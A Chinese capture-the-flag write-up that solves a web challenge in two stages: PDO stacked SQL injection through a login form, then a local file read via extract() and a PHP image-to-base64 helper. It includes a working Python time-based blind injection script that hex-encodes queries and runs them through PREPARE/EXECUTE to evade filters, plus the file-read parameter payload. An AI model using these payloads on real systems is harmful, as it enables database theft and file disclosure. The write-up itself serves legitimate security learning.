开始用dirsearch扫描了一下后台,发现没扫出啥玩意儿,或许是一个注入题(又到我的弱处了),先常规的使用 ' ; # 来判断一下
发现当我们只输入1'的时候发现是一个函数文件CBTool.php报错,而1的时候是一个正常的echo 错误
看来username确实存在注入点,但不知道是哪个方面的注入 ,试了一下异或,盲注都不行,又超出我注入浅薄的知识了,学习得知一个方法:当输入1'报错,但是1"没有报错的话,那就是堆叠注入了,然后我试了一下最基本的一些堆叠注入,发现都被过滤了,真是有点严啊……
学习得知这是基于PDO下的堆叠注入PDO场景下的SQL注入探究 - 先知社区
要用到预编译法(我把这个方法给忘记了)
import requests
import time
url="http://3e50045c-07a0-4474-a0cb-14b41c612f29.node4.buuoj.cn:81/index.php?r=Login/Login"
flag=""
def str_to_hex(s):#字符转十六进制
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
for i in range(1,40):
print(i)
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.":
#ord()将字符串转为ascii,因为在测试中得不到特殊页面,因此利用sleep(3)来判断是否注入成功
sql = "select if((ascii(substr((select group_concat(flag) from flag),"+str(i)+",1))='"+str(ord(str1))+"'),sleep(3),2);" # ctf
sql_hex = str_to_hex(sql)#sql被抓转换为了十六进制数
data={
"username":"1\';SET @a=0x"+str(sql_hex)+";PREPARE st FROM @a;EXECUTE st;",#预处理
"password":"123"
}
time1=time.time()
result=requests.post(url,json=data)#timeout一个数字或一个元组,指示等待客户端建立连接和/或发送响应的秒数
if time.time()-time1>=3:#利用python中time库来判断执行post请求前的时间戳和执行后的时间戳中的时间来知道是否执行成功sql语句
flag+=str((str1))
print(flag)
break
print(flag)
#glzjinwantsaliendzip
#glzjinnts_a_girl_friendzip
#glzjinwantsgirliendzip
#glzjin_wants_a_girl_friend.zip
因为在测试过程中得不到我们想要的回显界面,因此利用时间函数sleep(n)成功执行则会延迟n秒,结合time库的time()函数返回请求前后的时间戳是否大于等于3来得知是否执行成功;这里转换为十六进制是避免过滤,因为在数据库中十六进制数是可以直接识别的
不理解为什么其他wp都是直接select flag from flag的,可能是懒得写了,只需要自己改一下语句一个个找即可
最后会出来一个安装包glzjin_wants_a_girl_friend.zip,打开是一堆源码,找到最关键的函数
可以发现有一个flag.php文件,看来是要在源码中找到切入点读取flag.php文件了
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);//以/为媒介,分割r参数传进来的数据
list($controller,$action) = $r;//相当于$controller存储数组第一位,$action存储数组第二位
$controller = "{$controller}Controller";
$action = "action{$action}";
if(class_exists($controller))//类是否存在
{
if(method_exists($controller,$action))//检查类的方法是否存在,如果存在可以避免变量覆盖
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));//调用类$controller中的方法$action
} else {
header("Location:index.php?r=Login/Index");
}
在fun.php中看到我们可以传入的参数r
经过explode函数分割,然后list赋值,再经过{}拼接在一起,测试如下
相当于将r传入的路径如/index/flag,将他们分割开来,第一个拼接Controller为……,第二个拼接action
$controller = "{$controller}Controller";
$action = "action{$action}";
假如r传入/index/flag
->
$controller =indexController
$action=actionflag
暂时不清楚功能是啥,继续往下看,一个 class_exists()判断该类是否存在,一个method_exists判断该类中的方法是否存在
类不存在则会变量覆盖
else
{
$controller = "LoginController";
$action = "actionIndex";
}
然后最后是一个call_user_func函数,当第一个参数是类名的时候,则会调用该类中的$action方法
结合我们的源码有BaseController.php,UserController……这里我们可以控制调用哪个类哪个方法,因此我们去看看别的源码
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
}
都是action开头的方法,都调用了父类的loadView函数,并且传入两个参数(注意这里的第二个参数$listData是我们可以通过$_REQUEST控制的)
public function loadView($viewName ='', $viewData = [])
{//$this->loadView('userIndex',$listData);
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
将参数传入后上面路径会构成userIndex.php文件,并且include打开,其实我本来想通过控制第二个参数来进行extract函数覆盖变量以达到控制include使用,但是该函数第一步进行了再一次的viewPath覆盖,因此这个办法不行,我们去看一下它include那个函数文件
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
判断变量$img_file是否存在,经过imgToBase64函数后进行echo输出
<?php
function imgToBase64($img_file) {
$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等
$fp = fopen($app_img_file, "r"); // 图片是否可读权限
if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码,从文件中读取内容
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}
$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码
}
fclose($fp);
}
return $img_base64; //返回图片的base64
}
?>
函数审查中我们可以看到一个content变量,经过了fread函数
说白了这个函数作用就是读取$img_file路径文件的内容,并且base64输出, 因为有extract和$_REQUEST的结合,我们可以控制$img_file为我们所用,因此这题思路如下:
通过fun.php中的r变量来控制我们所需要调用的类
分析可得
r=User/Index
通过调用UserController类中的actionIndex函数利用$_REQUEST
传入
img_file=/../flag.php(不知道哪个位置就多试几次)
经过调用父类的loadView函数
调用extract->img_file=/../flag.php进行变量赋值
打开userIndex文件
通过imgToBase64函数读取/../flag.php的内容
然后进行base64加密后的echo输出得到flag
感觉这题就难在盲注上面了,多了一个sleep方法